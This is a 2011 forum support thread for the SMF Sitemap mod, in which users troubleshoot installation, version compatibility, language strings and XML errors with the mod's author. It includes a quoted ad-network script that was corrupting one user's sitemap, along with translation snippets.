Now i cant doo any thing on the google webmaster end!
now i need to know how can i add www prefix in front of my Sitemap URL

Thanks in Advance!
Title: Re: Sitemap
Post by: SlammedDime on April 21, 2011, 11:55:27 AM
change your board url in your SMF settings to have 'www' in it.
Title: Re: Sitemap
Post by: shahnewaz on April 21, 2011, 12:24:25 PM
Can you please explain that to me please i mean under administration from where i can do that please. i am kind of a noob here.
Title: Re: Sitemap
Post by: SlammedDime on April 21, 2011, 12:40:44 PM
Admin > Configuration > Server Settings > Database and Paths
Title: Re: Sitemap
Post by: shahnewaz on April 21, 2011, 12:55:17 PM
Thank you very much Slam!

i have been using smf for the last six months and i am very much satisfied with it.

i have used phpbb before they were good but the support here @ smf is outstanding!

SMF is the best!
Title: Re: Sitemap
Post by: pjn on April 24, 2011, 01:18:04 AM
hello!

i move my site, and i have an-old sitemap, and now i don't know what files to change to "777" premissions...
this is work fine:
http://pjn-il.net/index.php?action=sitemap

this is eror:
http://pjn-il.net/index.php?action=sitemap;xml

thanx!!!!
Title: Re: Sitemap
Post by: SlammedDime on April 24, 2011, 01:34:06 AM
Try decreasing the number of topics shown in the sitemap until it works. (found in the Sitemap settings in the admin panel)
Title: Error in sitemap
Post by: SimpleGost on May 01, 2011, 10:38:17 AM
I have this error on my forum sitemap internetfazoni.com/index.php?action=sitemap;xml
This page contains the following errors:

error on line 6405 at column 10: Extra content at the end of the document
Below is a rendering of the page up to the first error.


I dont installed any mod's change any files.. all working fine before 3 days!I checked all php files of this mod and all is ok!
Can anyone help me>  :'(
Title: Re: Sitemap
Post by: SlammedDime on May 01, 2011, 12:16:32 PM
You have a bunch of javascript at the end of the XML document, either added by you to one of your files for some tracking purposes, or added by your host...

<script type="text/javascript" charset="utf-8" >
//<![CDATA[
var EtargetSearchQuery = '';//OPTIONAL_PAGE_URL

var EtargetBannerIdent = 'ETARGET-rs-34643-728x90-IFRAME';
var EtargetBannerStyle = '&tabl=4&logo=1&logo_type=5&left=1&title_color=426000&h_title_color=426000&title_underline=1&h_title_underline=1&font=arial&fsi=11&background_color=ffffff&nourl=0&background_opacity=65&hover_back=transparent&border_color=000000&border_style=3d&border_radius=5&text_color=000000&url_color=426000&h_text_color=000000&h_url_color=426000&url_underline=0&h_url_underline=1';

function etargetScript(){this.cs='utf-8';this.it='';this.S=null;this.I=null;this.fC=function(it,id){var D=document;var aB=D.getElementsByTagName('body');var sS=D.getElementsByTagName('script');for(var i=0;i<sS.length;i++){try{if(sS[i].innerHTML.match(it)){this.S=sS[i];this.it=it;if(this.S.charset)this.cs=this.S.charset;this.I=D.createElement('iframe');this.I.setAttribute('id',id);if(aB.length<1){var B=D.createElement('body');D.documentElement.appendChild(B);B.appendChild(this.I);B.style.margin='0px';B.style.borderWidth='0px';}else{this.S.parentNode.insertBefore(this.I,this.S);}return this.I;break;}}catch(err){}}},this.iS=function(){if(this.it!=''){var a=this.it.split('-');this.D=a[1];this.R=a[2];this.A=a[3];var aa=this.A.split('x');this.W=aa[0];this.H=aa[1];this.I.setAttribute('width',this.W+'px');this.I.setAttribute('height',this.H+'px');this.I.setAttribute('marginwidth','0');this.I.setAttribute('marginheight','0');this.I.setAttribute('vspace','0');this.I.setAttribute('hspace','0');this.I.setAttribute('allowTransparency','true');this.I.setAttribute('frameborder','0');this.I.setAttribute('scrolling','no');this.I.style.borderWidth='0px';this.I.style.overflow='hidden';this.I.style.display='block';this.I.style.margin='0px';this.I.style.width=this.W+'px';this.I.style.height=this.H+'px';this.I.setAttribute('charset',this.cs);}},this.iC=function(me,dg,q){if(this.it!=''){this.iS();this.P='http:';if(document.location.protocol=='https:')this.P='https:';var sr='ref='+this.R+'&area='+this.W+'x'+this.H+'&';sr=sr+dg+'&'+me.gA()+'&cs='+this.cs;this.I.setAttribute('src',this.P+'/'+'/'+this.D+'.search.etargetnet.com/generic/generic.php?'+sr+'');}},this.dY=function(){if(this.S)this.S.parentNode.removeChild(this.S);}}function etargetMetaTags(){this.w='';this.k='';this.t='';this.d='';this.q='';this.search_object ='';this.gD=function(){this.k='';this.d='';this.t='';var D=document;if(D.getElementsByTagName){var a=D.getElementsByTagName('meta');for(var i=0;i<a.length;i++){if(a[i].name=='keywords'){this.k=a[i].content;}if(a[i].name=='description'){this.d=a[i].content;}}var a=D.getElementsByTagName('title');for(var i=0;i<a.length;i++){this.t=a[i].innerHTML;}}return this.k;},this.tR=function(s,c){return this.lR(this.rR(s,c),c);},this.lR=function(s,c){c=c||'\\s';return s.replace(new RegExp('^['+c+']+','g'),'');},this.rR=function(s,c){c=c||'\\s';return s.replace(new RegExp('['+c+']+$','g'),'');},this.getValFrom=function(elId){var m=document.getElementById(elId);if(!m)return '';if(typeof(m)=='undefined')return '';if(m==undefined)return '';var rezlt='';if(m.tagName=='A'){r=m.innerHTML;}else if(m.tagName=='SPAN'){r=m.innerHTML;}else if(m.tagName=='DIV'){r=m.innerHTML;}else if(m.tagName=='TD'){r=m.innerHTML;}else if(m.type=='select'){r=m.options[m.selectedIndex].value;}else if(m.type=='radio'){r=m.checked;}else if(m.type=='checkbox'){r=m.checked;}else{r=m.value;}this.q=this.tR(r);if(this.q=='')this.search_object='';return r;},this.sW=function(w){this.w=this.tR(w);},this.sQ=function(q){if(q=='')return false;this.q=this.tR(q);this.search_object='';},this.gM=function(name,cnt,len){var s='';var c=' ';if((this.d=='')&&(this.k=='')&&(this.t==''))this.gD();if((this.search_object!='')&&(this.q==''))this.getValFrom(this.search_object);if(name=='description'){s=this.tR(this.d);}else if(name=='title'){s=this.t;}else if(name=='keywords'){s=this.tR(this.k);c=',';}else if(name=='search_object'){return encodeURIComponent(this.q);}var a=s.split(c);s='';var ss='';var l=a.length;if(l>cnt)l=cnt;for(var i=0;i<l;i++){ss=encodeURIComponent(this.tR(a[i]));if((s.length+ss.length+1)>len)return s;if(s!='')s=s+'+';s=s+ss;}return s;},this.gA=function(){var s='';s=s+'&tt='+this.gM('title',8,60);s=s+'&mk='+this.gM('keywords',8,60);s=s+'&md='+this.gM('description',8,60);if(this.q!='')s=s+'&q='+this.gM('search_object',8,60);else s=s+'&q='+escape(location.href);if(this.w!='')s=s+'&keywords='+this.w;return s;}}if(!EtargetBannerThe)var EtargetBannerThe=1;else EtargetBannerThe++;if(!EtargetMetaTags)var EtargetMetaTags=new etargetMetaTags();EtargetMetaTags.q='';if(typeof(EtargetSearchObject)!='undefined')EtargetMetaTags.search_object=EtargetSearchObject;if(typeof(EtargetSearchQuery)!='undefined')EtargetMetaTags.sQ(EtargetSearchQuery);if(typeof(EtargetCatKeywords)!='undefined')EtargetMetaTags.sW(EtargetCatKeywords);var EtargetScript=new etargetScript();EtargetScript.fC(EtargetBannerIdent,EtargetBannerIdent+EtargetBannerThe);EtargetScript.iC(EtargetMetaTags,EtargetBannerStyle);EtargetScript.dY();
//]]>
</script></center>


If you didn't add that, you'll need to contact your host and let them know that their script is adding code where it shouldn't be.  If you did add it, you added it in the wrong spot.  It would need to go in index.template.php before </body>.
Title: Re: Sitemap
Post by: Baloch on May 07, 2011, 04:14:59 AM
is it compatible for SMF 2.0 RC5?
Title: Re: Sitemap
Post by: SlammedDime on May 07, 2011, 02:57:44 PM
Yes
Title: Re: Sitemap
Post by: mariusfv on May 08, 2011, 02:49:00 PM
SlammedDime i use your mod on 2.0 rc5, work like a charm, 1 question please, when people access my sitemap at :
http://www.domain.tld/index.php?action=sitemap
first its displayed Board Subject Topics Posts can be done for first display to be the topics ? I use only 4 board's so...
Title: Re: Sitemap
Post by: SlammedDime on May 08, 2011, 05:37:39 PM
Line 52 of Sitemap.php

Code (Find) Select
$subAction = isset($_REQUEST['sa']) && !empty($context['sitemap']['extensions'][$_REQUEST['sa']]) ? $_REQUEST['sa'] : 'boards';


Code (Replace) Select
$subAction = isset($_REQUEST['sa']) && !empty($context['sitemap']['extensions'][$_REQUEST['sa']]) ? $_REQUEST['sa'] : 'topics';


That should do it.
Title: Re: Sitemap
Post by: briggz5d on May 14, 2011, 06:10:57 AM
trying to install sitemap on SMF 2.0 RC5 using the Emulate RC4 style showed the following error attached.  Please Help

Title: Re: Sitemap
Post by: SlammedDime on May 14, 2011, 11:13:55 AM
The mod is only meant to work on the default theme without issues.  You'll need to modify your custom theme manually since the package manager can't do it for you.
Title: Re: Sitemap
Post by: briggz5d on May 15, 2011, 04:32:09 AM
Ok I have modified and now it's working thanx.
I also would like to know if reverting back to the normal 2.0 RC5 after installing a MOD in emulate 2.0 RC4 will it affect the mod??
Title: Re: Sitemap
Post by: SlammedDime on May 15, 2011, 03:50:46 PM
No, it won't affect this mod.
Title: Re: Sitemap
Post by: reefforum on May 16, 2011, 12:45:03 PM
I get this error message every couple of days:

URLs not followed
When we tested a sample of URLs from your Sitemap, we found that some URLs redirect to other locations. We recommend that your Sitemap contain URLs that point to the final destination (the redirect target) instead of redirecting to another URL.
Title: Re: Sitemap
Post by: SlammedDime on May 16, 2011, 01:09:15 PM
Do you have pretty urls installed?  If so, it's possible that the URLs are not being rewritten properly.  If not, it's possible that topics don't exist any longer or may have been merged.  The Sitemap caches data to prevent overloading the database.
Title: Re: Sitemap
Post by: reefforum on May 16, 2011, 02:44:08 PM
yes I do have pretty url.  should i remove it?
here is the site:  http://reefcollege.com

now i disabled pretty url once and the indexed google results began leading to blank pages
Title: Re: Sitemap
Post by: SlammedDime on May 16, 2011, 04:11:19 PM
I have almost no experience with pretty urls first hand.  I wasn't fond of how it operated so I never used it (thus why I created SimpleSEF).  Also, Pretty URLs, Sitemap and SMF 1.1.x don't seem to along too well.  There are some hints in this topic a couple many pages back that may help out.  Basically none of your sitemap urls are rewritten, so Google tries to visit them and gets a redirect to the rewritten url.
Title: Re: Sitemap
Post by: yogesh_gamer on May 18, 2011, 08:00:06 AM
in my forum error log, i m getting this error:

http://downloadyourworld.com/index.php?action=sitemap;xml
8: Undefined index: sitemap
File: /home/downlo23/public_html/Sources/Sitemap.php
Line: 29 and 22

attachment: my sitemap
Title: Re: Sitemap
Post by: SlammedDime on May 18, 2011, 10:18:51 AM
You're missing language strings.  Make sure everything in Modifications.english.php is in every other Modifications.[language].php file.
Title: Re: Sitemap
Post by: yogesh_gamer on May 18, 2011, 10:59:34 AM
didn't understand.
explain me in details
Title: Re: Sitemap
Post by: SlammedDime on May 18, 2011, 11:56:30 AM
What languages do you use on your board?
Title: Re: Sitemap
Post by: reefforum on May 21, 2011, 11:48:55 AM
Hello everyone,

my sitemap appears to function normally but I have the following errors:

8: Undefined index: sitemap
File: /home/reef/public_html/Sources/Sitemap.php
Line: 29


8: Undefined index: sitemap_boards
File: /home/reef/public_html/Themes/default/Sitemap.template.php
Line: 131


8: Undefined index: sitemap
File: /home/reef/public_html/Themes/default/Sitemap.template.php
Line: 9


8: Undefined index: sitemap
File: /home/reef/public_html/Sources/Sitemap.php
Line: 29
Title: Re: Sitemap
Post by: SlammedDime on May 21, 2011, 01:18:04 PM
Quote from: SlammedDime on May 18, 2011, 10:18:51 AM
You're missing language strings.  Make sure everything in Modifications.english.php is in every other Modifications.[language].php file.
Title: Re: Sitemap
Post by: Baloch on May 22, 2011, 10:00:06 AM
is it compatible with SMF 2.0 RC5?
Title: Re: Sitemap
Post by: reefforum on May 22, 2011, 12:11:08 PM
thank you I will look into that
Title: Re: Sitemap
Post by: yogesh_gamer on May 23, 2011, 09:32:54 AM
Quote from: SlammedDime on May 18, 2011, 11:56:30 AM
What languages do you use on your board?

I m using English utf-8
Title: Re: Sitemap
Post by: SlammedDime on May 23, 2011, 09:35:58 AM
Copy everything from Modifications.english.php to Modifications.english-utf8.php
Title: Re: Sitemap
Post by: yogesh_gamer on May 23, 2011, 10:17:43 AM
ok. i did that.
work or not will tell u later.
thanks

update:
ok.
no problem.
thanks
Title: Re: Sitemap
Post by: Baloch on May 24, 2011, 03:32:28 AM
getting error to install sitemap 2.2.1

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

my smf is 2.0 RC5
Title: Re: Sitemap
Post by: feline on May 24, 2011, 05:50:24 AM
Click on Advanced in the Package Manager and set Emulate version to 2.0 RC4
Title: Re: Sitemap
Post by: Apllicmz on May 31, 2011, 10:48:25 PM
Good work
when update dont forget portuguese

smf 2.x

<file name="$languagedir/Modifications.portuguese_pt.php" error="skip">
        <operation>
            <search position="after"><![CDATA[?>]]></search>
            <add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Quadros';
$txt['sitemap_topics'] = 'T&oacute;picos';
$txt['sitemap_xml'] = 'Mostrar Sitemap XML <em>link</em>';
$txt['sitemap_topic_count'] = 'O n&uacute;mero m&aacute;ximo de t&oacute;picos para mostrar em XML no sitemap<br /><span class="smalltext">0 mostrar todos (<strong class="error">N&atilde;O RECOMENDADO EM QUADROS GRANDE</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Tempo em que os dados do XML devem ser armazenados em cache (seconds)';
$txt['sitemap_board_none'] = 'Sem quadros para mostrar';
$txt['sitemap_topic_none'] = 'N&atilde;o h&aacute; t&oacute;picos para mostrar';
$txt['sitemap_30day_priority'] = 'Prioridade para os t&oacute;picos activos nos &uacute;ltimos 30 dias';
$txt['sitemap_60day_priority'] = 'Prioridade para os t&oacute;picos activos nos &uacute;ltimos 60 dias';
$txt['sitemap_90day_priority'] = 'Prioridade para os t&oacute;picos activos nos &uacute;ltimos 90 dias';
$txt['sitemap_91day_priority'] = 'Prioridade para os t&oacute;picos mais de 90 dias';
$txt['invalid_sitemap_subaction'] = 'Sele&ccedil;&atilde;o inv&aacute;lida';

]]></add>
        </operation>
    </file>
    <file name="$languagedir/Modifications.portuguese_pt-utf8.php" error="skip">
        <operation>
            <search position="after"><![CDATA[?>]]></search>
            <add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Quadros';
$txt['sitemap_topics'] = 'T&oacute;picos';
$txt['sitemap_xml'] = 'Mostrar Sitemap XML <em>link</em>';
$txt['sitemap_topic_count'] = 'O n&uacute;mero m&aacute;ximo de t&oacute;picos para mostrar em XML no sitemap<br /><span class="smalltext">0 mostrar todos (<strong class="error">N&atilde;O RECOMENDADO EM QUADROS GRANDE</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Tempo em que os dados do XML devem ser armazenados em cache (seconds)';
$txt['sitemap_board_none'] = 'Sem quadros para mostrar';
$txt['sitemap_topic_none'] = 'N&atilde;o h&aacute; t&oacute;picos para mostrar';
$txt['sitemap_30day_priority'] = 'Prioridade para os t&oacute;picos activos nos &uacute;ltimos 30 dias';
$txt['sitemap_60day_priority'] = 'Prioridade para os t&oacute;picos activos nos &uacute;ltimos 60 dias';
$txt['sitemap_90day_priority'] = 'Prioridade para os t&oacute;picos activos nos &uacute;ltimos 90 dias';
$txt['sitemap_91day_priority'] = 'Prioridade para os t&oacute;picos mais de 90 dias';
$txt['invalid_sitemap_subaction'] = 'Sele&ccedil;&atilde;o inv&aacute;lida';

]]></add>
        </operation>
    </file>


</file>
    <file name="$languagedir/Who.portuguese_pt.php" error="skip">
        <operation>
            <search position="end"><![CDATA[$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
]]></search>
            <add><![CDATA[$txt['whoall_sitemap'] = 'Vendo o <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
        </operation>
    </file>
    <file name="$languagedir/Who.portuguese_pt-utf8.php" error="skip">
        <operation>
            <search position="end"><![CDATA[$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
]]></search>
            <add><![CDATA[$txt['whoall_sitemap'] = 'Vendo o <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
        </operation>
    </file>



1.1.x

<file name="$languagedir/Help.portuguese_pt.php" error="fatal">
        <operation error="fatal">
            <search position="after"><![CDATA[?>]]></search>
            <add><![CDATA[// SMF Sitemap Strings translate candidosa2 Support smfpt
$helptxt['sitemap_xml'] = 'Quando desmarcada, o link para o mapa do site XML s&oacute; ser&aacute; mostrado para os administradores. Quando marcada, qualquer um pode v&ecirc;-lo.';
$helptxt['sitemap_topic_count'] = 'Este &eacute; o n&uacute;mero m&aacute;ximo de assuntos que ser&atilde;o exibidos no XML do sitemap , bem como as p&aacute;ginas de mapa do site. O padr&atilde;o &eacute; 20000 (200 p&aacute;ginas).';
$helptxt['sitemap_collapsible'] = 'Activando esta op&ccedil;&atilde;o irá recolher os sub-quadros nos quadros de exibi&ccedil;&atilde;o do mapa do site. Pode ser &uacute;til para sites com muitos Sub-quadros.';

]]></add>
        </operation>
    </file>
    <file name="$languagedir/Help.portuguese_pt-utf8.php" error="fatal">
        <operation error="fatal">
            <search position="after"><![CDATA[?>]]></search>
            <add><![CDATA[// SMF Sitemap Strings translate candidosa2 Support smfpt
$helptxt['sitemap_xml'] = 'Quando desmarcada, o link para o mapa do site XML s&oacute; ser&aacute; mostrado para os administradores. Quando marcada, qualquer um pode v&ecirc;-lo.';
$helptxt['sitemap_topic_count'] = 'Este &eacute; o n&uacute;mero m&aacute;ximo de assuntos que ser&atilde;o exibidos no XML do sitemap , bem como as p&aacute;ginas de mapa do site. O padr&atilde;o &eacute; 20000 (200 p&aacute;ginas).';
$helptxt['sitemap_collapsible'] = 'Activando esta op&ccedil;&atilde;o irá recolher os sub-quadros nos quadros de exibi&ccedil;&atilde;o do mapa do site. Pode ser &uacute;til para sites com muitos Sub-quadros.';

]]></add>
        </operation>
    </file>


<file name="$languagedir/Who.portuguese_pt.php" error="skip">
        <operation error="fatal">
            <search position="end"><![CDATA[
$txt['whoall_collapse_collapse'] = 'Recolhendo a categoria.';
$txt['whoall_collapse_expand'] = 'Expandindo uma categoria.';
]]></search>
            <add><![CDATA[$txt['whoall_sitemap'] = 'Viewing the <a href="' . $scripturl . '?action=sitemap">Sitemap</a>.';
]]></add>
        </operation>
    </file>
    <file name="$languagedir/Who.portuguese_pt-utf8.php" error="skip">
        <operation error="fatal">
            <search position="end"><![CDATA[
$txt['whoall_collapse_collapse'] = 'Recolhendo a categoria.';
$txt['whoall_collapse_expand'] = 'Expandindo uma categoria.';
]]></search>
            <add><![CDATA[$txt['whoall_sitemap'] = 'Viewing the <a href="' . $scripturl . '?action=sitemap">Sitemap</a>.';
]]></add>
        </operation>
    </file>


<file name="$languagedir/Modifications.portuguese_pt.php" error="skip">
        <operation error="fatal">
            <search position="after"><![CDATA[?>]]></search>
            <add><![CDATA[// SMF Sitemap Strings translate candidosa2
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Quadros';
$txt['sitemap_xml'] = 'Mostrar Sitemap do XML link';
$txt['sitemap_topic_count'] = 'N&uacute;mero m&aacute;ximo de t&oacute;picos para mostrar no sitemap';
$txt['sitemap_collapsible'] = 'Colapso em subquadros do sitemap';

]]></add>
        </operation>
    </file>
    <file name="$languagedir/Modifications.portuguese_pt-utf8.php" error="skip">
        <operation error="fatal">
            <search position="after"><![CDATA[?>]]></search>
            <add><![CDATA[// SMF Sitemap Strings translate candidosa2
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Quadros';
$txt['sitemap_xml'] = 'Mostrar Sitemap do XML link';
$txt['sitemap_topic_count'] = 'N&uacute;mero m&aacute;ximo de t&oacute;picos para mostrar no sitemap';
$txt['sitemap_collapsible'] = 'Colapso em subquadros do sitemap';

]]></add>
        </operation>
    </file>

Title: Re: Sitemap
Post by: !RFAN on June 09, 2011, 02:52:22 AM
there is some problem with the sitemap of my website:

http://www.amigozone.com/index.php?action=sitemap;xml

plz help me
Title: Re: Sitemap
Post by: SlammedDime on June 09, 2011, 11:52:37 AM
Looks fine to me.
Title: Re: Sitemap
Post by: !RFAN on June 10, 2011, 02:22:35 AM
it is taking lot of in loading and what about this:


This XML file does not appear to have any style information associated with it. The document tree is shown below.
Title: Re: Sitemap
Post by: SlammedDime on June 10, 2011, 11:21:22 AM
It loads pretty quick for me.  That is something your browser displays because there is no stylsheet, as it says.  It's not an error.
Title: Re: Sitemap
Post by: teos55 on June 12, 2011, 07:15:03 AM
Upgraded from SMF 1.1.14 to smf 2.0

Sitemap mod parse, does not list 2.0 as compatible. 

Any guidance ?
Title: Re: Sitemap
Post by: SlammedDime on June 12, 2011, 02:13:47 PM
Download the latest version from the mod site.
Title: Re: Sitemap
Post by: teos55 on June 12, 2011, 02:19:37 PM
That is what I said, downloading the latest one for 2.0 , parsing says not applicable.
Title: Re: Sitemap
Post by: TheListener on June 12, 2011, 02:27:15 PM
Quote from: teos55 on June 12, 2011, 02:19:37 PM
That is what I said, downloading the latest one for 2.0 , parsing says not applicable.

Use the latest version for whichever version you are using.
Title: Re: Sitemap
Post by: SlammedDime on June 12, 2011, 02:47:22 PM
You'll need to use the 'Advanced' button at the bottom of the package manager and emulate SMF 2.0 RC4.
Title: Re: Sitemap
Post by: teos55 on June 12, 2011, 02:56:00 PM
That is the answer I was waiting for,  thanks ..
Title: Re: Sitemap
Post by: #Pascal on June 15, 2011, 09:09:00 AM
2.0 RELEASE sitemap 2.2.0

does not open

error
Invalid selection

http://test.test/index.php?action=sitemap 8: Undefined index: boards
file: /test/Sources/Sitemap.php
str: 59

http://test.test/index.php?action=sitemap
Invalid selection

----
UPD

problem solved ... wrong rights on directory Sources/Sitemap-Ext/

Title: Re: Sitemap
Post by: DarioRed on June 15, 2011, 09:49:48 AM
Hi! SlammedDime do you plan to update this mod to 2.0 final?

Thanks!
Title: Re: Sitemap
Post by: SlammedDime on June 15, 2011, 11:37:40 AM
It should work on 2.0 Final using emulate... I'm pretty busy at the moment with work and home that I haven't had time to update it yet.
Title: Re: Sitemap
Post by: mwine on June 15, 2011, 11:56:09 AM
Not Sure what the issue is here.  I have pretty urls installed which I know you do not favor,  but not sure if that is the issue.  I had both working fine on 1.1.13.  Upgraded to 2.0 Gold yesterday and emulated for this mod.

Please Advise.  Thank You.

2011-06-15T20:52:59+05:00 always 1.0 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2 2011-06-15T20:52:59+05:00 daily 0.2
Title: Re: Sitemap
Post by: SlammedDime on June 15, 2011, 12:09:14 PM
Would need a link to your site itself to see it.  Does it work if you disable Pretty URLs?
Title: Re: Sitemap
Post by: mwine on June 15, 2011, 12:12:51 PM
www.......org

I have disabled pretty. 


***SlammedDime****

Disregard for now.  I am having other issues with general features on the forum, ie. page not refreshing when I save changes to features.  Since it is  a new forum, I am going to do a complete fresh install.  I will let you know how it goes. 

**update**

Did fresh install and decided to use your simplesef instead of prettyurl and it works perfectly with 2.0. 
Thank You for the help.
Title: Re: Sitemap
Post by: #Pascal on June 15, 2011, 01:44:03 PM
Quote from: SlammedDime on June 15, 2011, 11:37:40 AM
It should work on 2.0 Final using emulate... I'm pretty busy at the moment with work and home that I haven't had time to update it yet.
I't works on 2.0.final
Title: Re: Sitemap
Post by: PLAYBOY on June 25, 2011, 06:40:50 PM
Quote from: PascalCX on June 15, 2011, 01:44:03 PM
Quote from: SlammedDime on June 15, 2011, 11:37:40 AM
It should work on 2.0 Final using emulate... I'm pretty busy at the moment with work and home that I haven't had time to update it yet.
I't works on 2.0.final

But it doesnt install on 2.0 so it needs to be updated for 2.0
Title: Re: Sitemap
Post by: TheListener on June 25, 2011, 06:44:49 PM
Playboy it installed on my 2.0 test forum. It may require a manual edit in one file.
Title: Re: Sitemap
Post by: SlammedDime on June 25, 2011, 08:25:26 PM
I"m going to try to update this to use only integration hooks vs making file edits before I release a version for 2.0 final, just fyi.
Title: Re: Sitemap
Post by: gisfreak on June 26, 2011, 12:16:05 AM
I will waiting here for the update for SMF 2.0...........nice work SlammedDime
Title: Re: Sitemap
Post by: !RFAN on July 05, 2011, 10:36:20 PM
edited
Title: Re: Sitemap
Post by: PLAYBOY on July 05, 2011, 10:44:56 PM

Any news about when is it gonna be updated for 2.0?
Title: Re: Sitemap
Post by: !RFAN on July 05, 2011, 10:51:41 PM
Quote from: PLAYBOY on July 05, 2011, 10:44:56 PM

Any news about when is it gonna be updated for 2.0?
i installed it on smf 2.0 and it is working fine
Title: Re: Sitemap
Post by: PLAYBOY on July 05, 2011, 10:56:33 PM
Quote from: !RFAN on July 05, 2011, 10:51:41 PM
Quote from: PLAYBOY on July 05, 2011, 10:44:56 PM

Any news about when is it gonna be updated for 2.0?
i installed it on smf 2.0 and it is working fine

I dont think you installed the mod from scratch on 2.0 but you just updated the forum when you already have the mod installed. Because this is what is says when i try to install the mod on 2.0

Installations actions for "Sitemap"
The package you are trying to download or install is either corrupt or not compatible with this version of SMF.


BTW, i dont want to emulate. Thas why im asking for update.
Title: Re: Sitemap
Post by: gisfreak on July 06, 2011, 12:40:30 AM
I think author occupied with his real life, ehehehehe, be patient

Title: Re: Sitemap
Post by: MiY4Gi on July 06, 2011, 07:56:10 AM
Quote from: PLAYBOY on July 05, 2011, 10:56:33 PM
I dont think you installed the mod from scratch on 2.0 but you just updated the forum when you already have the mod installed. Because this is what is says when i try to install the mod on 2.0

Installations actions for "Sitemap"
The package you are trying to download or install is either corrupt or not compatible with this version of SMF.


BTW, i dont want to emulate. Thas why im asking for update.

Don't be lazy. There's nothing wrong with emulating. You could also learn a thing or two. The mod author isn't your slave, nor has he made the mod specifically for you. If you want individual attention, donate some money to the author. The relevant files that get changed during installation of a mod are sometimes the same for all versions of SMF 2.0, so a mod may install and run without any problems, even if it hasn't been listed as compatible with newer versions of SMF 2.0.

Anyway, what does a sitemap do? Is it like a contents page for Google to crawl? How does it help with SEO?
Title: Re: Sitemap
Post by: ukhalik2 on July 07, 2011, 07:03:44 PM
Cant install on 2.0 final, even tried after emulating to rc4 and rc5, but no luck at all.

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

Quote from: Brack1 on June 25, 2011, 06:44:49 PM
Playboy it installed on my 2.0 test forum. It may require a manual edit in one file.
And which is that file? Any help?
Title: Re: Sitemap
Post by: MiY4Gi on July 07, 2011, 08:58:01 PM
Quote from: ukhalik2 on July 07, 2011, 07:03:44 PM
Cant install on 2.0 final, even tried after emulating to rc4 and rc5, but no luck at all.

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

Try SMF 2.0 RC3
Title: Re: Sitemap
Post by: SlammedDime on July 07, 2011, 09:34:42 PM
I'll try and make an updated package tomorrow, at least one that installs on 2.0 final.  I really wanted to make it all use hooks, but don't have the time right now to rewrite the code.
Title: Re: Sitemap
Post by: !RFAN on July 08, 2011, 03:06:37 AM
can i add my aeva media gallery links in sitemap?
Title: Re: Sitemap
Post by: ukhalik2 on July 08, 2011, 08:13:24 PM
Quote from: MiY4Gi on July 07, 2011, 08:58:01 PM
Try SMF 2.0 RC3

Thanks for the quick reply, but unfortunately, my sitemap mod don't show "install" option, it only shows 'delete' and 'list files' links.
When i delete, upload again and click on install, i get the same error.

tried emulating rc2,rc3,rc4,rc45.

Any help?
Title: Re: Sitemap
Post by: MiY4Gi on July 08, 2011, 08:57:18 PM
That's strange. Emulation for 2.0 RC3 worked for me. Try selecting different versions for emulation until your sitemap mod shows "install" (just as mine shows "uninstall" when I emulate 2.0 RC3, as shown in the attachments below). If all else fails, then you'll need to do a manual installation. What other mods do you have installed.
Title: Re: Sitemap
Post by: ukhalik2 on July 15, 2011, 01:44:21 PM

Ah! no luck.. :/
Tried many times, i am afraid manual editing will corrupt my forum as emulator isn't accepting the mod.

any help?
Title: Re: Sitemap
Post by: SlammedDime on July 15, 2011, 01:49:05 PM
Well the problem is that you're trying to install version 1.2.2 on SMF 2.0.  The mod's download page clearly states that version 1.2.2 is made for SMF 1.1.x and version 2 is for SMF 2.0.  Please read the mod's description a bit more carefully.
Title: Re: Sitemap
Post by: ab1cor on July 17, 2011, 08:36:47 AM
What is your experience with 2.0 final?
I'm getting the "incopatible package" message while trying to install...
Title: Re: Sitemap
Post by: PLAYBOY on July 17, 2011, 08:49:13 AM
QuoteDon't be lazy. There's nothing wrong with emulating. The mod author isn't your slave, nor has he made the mod specifically for you.

:)

Quotetried emulating rc2,rc3,rc4,rc45.
QuoteThat's strange. Emulation for 2.0 RC3 worked for me. Try selecting different versions for emulation until your sitemap mod shows "install" (just as mine shows "uninstall" when I emulate 2.0 RC3, as shown in the attachments below). If all else fails, then you'll need to do a manual installation.
QuoteAh! no luck.. :/
Tried many times
QuoteI'm getting the "incopatible package" message while trying to install...

This is why people dont want to emulate...
Its not about being lazy. Its about convenience and having less problem.
I am not asking for a personal help, -which i could be because this is one of the purposes of this forum- but i am asking for a regular update for EVERYBODY! even for you.
Title: Re: Sitemap
Post by: SSimple Team on July 17, 2011, 12:23:28 PM
@PLAYBOY

in the package-info.xml

Find

<install for="2.0 RC3, 2.0 RC4">

Replace with

<install for="2.0 RC3, 2.0 RC4, 2.0">

Find

<uninstall for="2.0 RC3, 2.0 RC4">

Replace with

<uninstall for="2.0 RC3, 2.0 RC4, 2.0">

Try again ;)
Title: Re: Sitemap
Post by: PLAYBOY on July 17, 2011, 05:38:44 PM
Thas a pretty nice trick. Thx.
Title: Re: Sitemap
Post by: SlammedDime on July 17, 2011, 11:25:16 PM
